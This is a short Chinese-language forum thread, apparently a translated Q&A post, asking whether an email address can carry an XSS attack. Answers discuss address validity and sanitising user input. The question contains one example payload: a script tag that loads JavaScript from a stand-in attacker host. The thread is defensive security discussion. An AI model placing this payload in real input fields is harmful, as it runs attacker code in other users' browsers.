是否可以通過電子郵件地址進行XSS攻擊？

我想知道一個電子郵件地址是否可用於XSS攻擊。是否可以通過電子郵件地址進行XSS攻擊？

假設有一個網站可以註冊並給出他的電子郵件地址。如果一個人想攻擊特定網站，他或她可能會創建一個電子郵件地址，像這樣的：

"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com

，然後使用這個電子郵件地址來攻擊網站。

是否允許在電子郵件地址中使用引號或腳本標記？

這取決於有問題的應用程序如何清理用戶輸入。是的，您的案例中的電子郵件地址不過是用戶輸入。根據你解析和顯示的方式，你可能會很脆弱。 – devnull

但我的問題是：這種類型的輸入是否有效？有人可以有這樣的電子郵件地址嗎？如果可以有這樣一個電子郵件地址，那麼我們必須注意我們展示它的每個點。如果沒有，那麼我們只寫一個不接受這種電子郵件地址的驗證器。 –

示例中的電子郵件地址顯示爲有效。唯一的字符是不常見的是報價" - 其他人有效。

Wikipedia建議您指定的電子郵件地址有效。

您需要確保任意用戶輸入在呈現之前已經過清理。

首先，您可能想要參考有關XSS和prevention的信息，可在OWASP處獲取。

2013-07-05 04:24:20 devnull

+1，謝謝你這個不錯的答案。我也會等待其他答案，以查看真相。如果他們無法說服我的電子郵件地址格式無效，那麼我會接受你的回答。 –

回答